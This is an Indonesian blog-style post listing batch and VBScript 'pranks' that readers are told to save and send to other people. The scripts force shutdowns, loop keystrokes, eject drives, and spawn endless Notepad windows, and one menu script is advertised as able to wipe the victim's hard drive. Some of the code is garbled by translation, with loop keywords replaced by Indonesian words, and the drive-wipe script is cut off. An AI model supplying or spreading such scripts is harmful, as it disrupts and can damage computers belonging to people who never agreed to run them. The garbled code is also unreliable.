10 VBScript Pranks Paling BERBAHAYA

10 VBScript Pranks Paling BERBAHAYA


KETIK SEMUA PERINTAH INI DI NOTEPAD

--- --- --- --- --- --- --- --- ---

1) Sampaikan pesan sedikit dan mematikan komputer:

Ketik :

@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s


Simpan sebagai "Anything.BAT" di Semua File dan KIRIM.

2) Toggle tombol Caps Lock secara simultan:

Ketik:

Set wshShell = wscript.CreateObject ("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "CapsLock {}"
putaran

Simpan sebagai "Anything.VBS" dan KIRIM.

3) Terus-menerus pop out dari CD Drive. Jika ada lebih dari satu, itu muncul semua dari mereka!

Ketik:

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Simpan sebagai "Anything.VBS" dan KIRIM.

4. Bikin orang frustasi dgn menekan Enter secara bersamaan:

Ketik:

Set wshShell = wscript.CreateObject ("WScript.Shell")
melakukan
wscript.sleep 100
wshshell.sendkeys "~ (enter)"
loop

Simpan sebagai "Anything.VBS" dan KIRIM.

5) Buka Notepad, perlahan-lahan ketik "Hello, how are you? I am good thanks" Setelah beberapa waktu mengklik file dan membuat orang panik:

Ketik:

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Simpan sebagai "Anything.VBS" dan KIRIM.

6) Bikin panik orang dengan VBScript "hit Backspace" secara simultan:
Tipe:

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Simpan sebagai "Anything.VBS" dan mengirimkannya.

7) Hack keyboard dan membuat ketik "You are a fool" terus menerus:
Tipe:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Simpan sebagai "Anything.VBS" dan KIRIM.

8. Buka Notepad di komputer teman secara terus menerus:

Ketik:

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Simpan sebagai "Anything.BAT" dan mengirimkannya.

9) Hard prank: "Pilih virus Anda" batch file. Ini meminta teman Anda untuk memilih angka antara 1-5 dan kemudian melakukan tindakan tertentu:


1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown

Ketik:
@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Simpan sebagai "Anything.BAT" dan KIRIM.

NB : Saya tidak merekomendasikan anda untuk melakukan hal ini, tapi jika naluri jahat anda lebih kuat, monggo saja... Dosa tanggung sendiri²... :p